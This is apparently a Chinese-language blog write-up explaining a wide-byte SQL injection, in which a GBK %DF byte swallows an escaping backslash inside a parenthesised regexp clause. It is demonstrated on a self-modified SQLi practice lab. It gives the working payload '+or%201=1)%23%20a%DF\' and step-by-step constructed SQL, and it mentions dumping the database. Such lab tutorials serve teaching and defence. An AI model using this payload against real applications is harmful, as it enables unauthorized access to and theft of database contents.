背景


群里哥哥提了一个问题,感觉存在注入,但是平时的操作却又出不来数据

最后我没有在实际环境,通篇使用自己修改的SQLI靶场演示

抛出问题


问题点:

  • 字符型,输入单引号,程序会die
  • 注入点在括号中
  • 一个传参,被两次使用,同在括号中
  • 输入反斜杠,程序报错,通过报错信息,可以看到SQL语句

截图:

由于安全隐私问题,截图打码

请求如下

index.php?xxx=&xxx=74&key=a\

页面响应如下

1589359566400

思路分析


如果只有一个条件,再加上这是字符型和过滤单引号,这还真的难办了

a

and (title regexp 'a' or body regexp 'a')

a\

and (title regexp 'a\\' or body regexp 'a\\')

a%DF\

and (title regexp 'a運\' or body regexp 'a運\')

or 1=1 a%DF\

and (title regexp 'or 1=1 a運\' or body regexp 'or 1=1 a運\')

or 1=1)# a%DF\

and (title regexp 'or 1=1)# a運\' or body regexp 'or 1=1)# a運\')

+or 1=1)# a%DF\

and (title regexp ' or 1=1)# a運\' or body regexp ' or 1=1)# a運\')

环境验证


使用sqli修改

1589359995918

然后输出一下SQL语句,方便调试

1589360043024

复现

1589360083860

单引号,程序die

1589360115187

反斜杠转义

1589360152299

构造payload

+or%201=1)%23%20a%DF\

返回正常

1589360238620

爆数据库

1589360289413

原理

程序中转义生成的反斜杠被%df吃掉

还剩下一个反斜杠,在数据语句中成了转义符号,后面的单引号将不再具有实际意义

那么总共四个单引号,第二个单引号变成了字符串

则第一个单引号就回去闭合第三个

比如

payload

+or%201=1)%23%20a%DF\

1589360519460

红框中的一长串,就是纯字符,不具有任何意义,在闭合掉后面的括号,语句可正常执行,不在报错

END